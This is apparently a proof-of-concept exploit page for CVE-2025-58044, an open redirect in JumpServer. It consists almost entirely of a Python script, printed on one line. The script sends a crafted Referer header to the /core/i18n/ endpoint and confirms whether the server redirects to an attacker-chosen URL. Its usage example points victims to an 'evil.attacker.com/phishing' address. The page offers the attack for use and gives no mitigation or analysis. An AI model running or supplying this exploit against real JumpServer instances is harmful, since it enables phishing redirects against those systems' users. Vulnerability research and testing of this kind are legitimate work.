JumpServer开放重定向漏洞 (CVE-2025-58044)

import requests import sys def exploit_open_redirect(target_url, redirect_target): """ PoC for CVE-2025-58044: JumpServer Open Redirect Vulnerability Args: target_url: Base URL of vulnerable JumpServer instance redirect_target: Malicious URL to redirect victims to Returns: Response headers showing the redirect """ endpoint = f"{target_url.rstrip('/')}/core/i18n/" headers = { 'Referer': redirect_target, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: response = requests.get(endpoint, headers=headers, allow_redirects=False, timeout=10) print(f"[*] Target: {endpoint}") print(f"[*] Malicious Referer: {redirect_target}") print(f"[*] Status Code: {response.status_code}") if 'Location' in response.headers: print(f"[*] Redirect Location: {response.headers['Location']}") if redirect_target in response.headers.get('Location', ''): print("[!] VULNERABLE: Open redirect confirmed!") return True print("[-] No open redirect detected") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <target_url> <redirect_url>") print(f"Example: python {sys.argv[0]} https://jumpserver.example.com https://evil.attacker.com/phishing") sys.exit(1) exploit_open_redirect(sys.argv[1], sys.argv[2])